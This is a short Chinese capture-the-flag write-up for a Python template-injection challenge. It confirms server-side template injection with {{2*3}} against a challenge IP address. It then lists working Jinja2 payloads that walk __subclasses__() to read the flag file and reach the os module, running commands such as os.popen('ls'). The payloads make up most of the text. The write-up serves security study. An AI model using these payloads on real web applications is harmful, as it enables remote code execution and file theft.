攻防世界Writeup Web_python_template_injection

 

访问地址

首页显示

译:python 模块注入

那就直奔主题,看其是否存在SSTI注入

 111.200.241.244:63800/{{2*3}}

得到回显,存在注入

接下来查看所有模块

 {{ [].__class__.__base__.__subclasses__()}}
 {{ {}.__class__.__base__.__subclasses__()}}
 {{ ().__class__.__base__.__subclasses__()}}
 {{ ''.__class__.__base__.__subclasses__()}}
 ​
 //这四种符号开头都是可以执行的.在本题中利用 '' 来构建语句会产生报错,其余不会报错
 __class__ 返回类型所属的对象
 __base__  返回该对象所继承的基类
 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的引用列表

 用此payload该语句就不会报错

 经过我的多次测试,语句有很多利用的地方
 {{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}
 ​
 [40]对应 type file    可以实现文件包含
 ​
 {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
 {{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
 查看当前目录
 ​
 [71]对应 site._Printer
 ​
 {{[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].popen('ls').read()}}
 ​
 ​
 [76]对应 site.Quitter
 ​
 [71]&[76]都可以任意代码执行,仅需要拿到os模块即可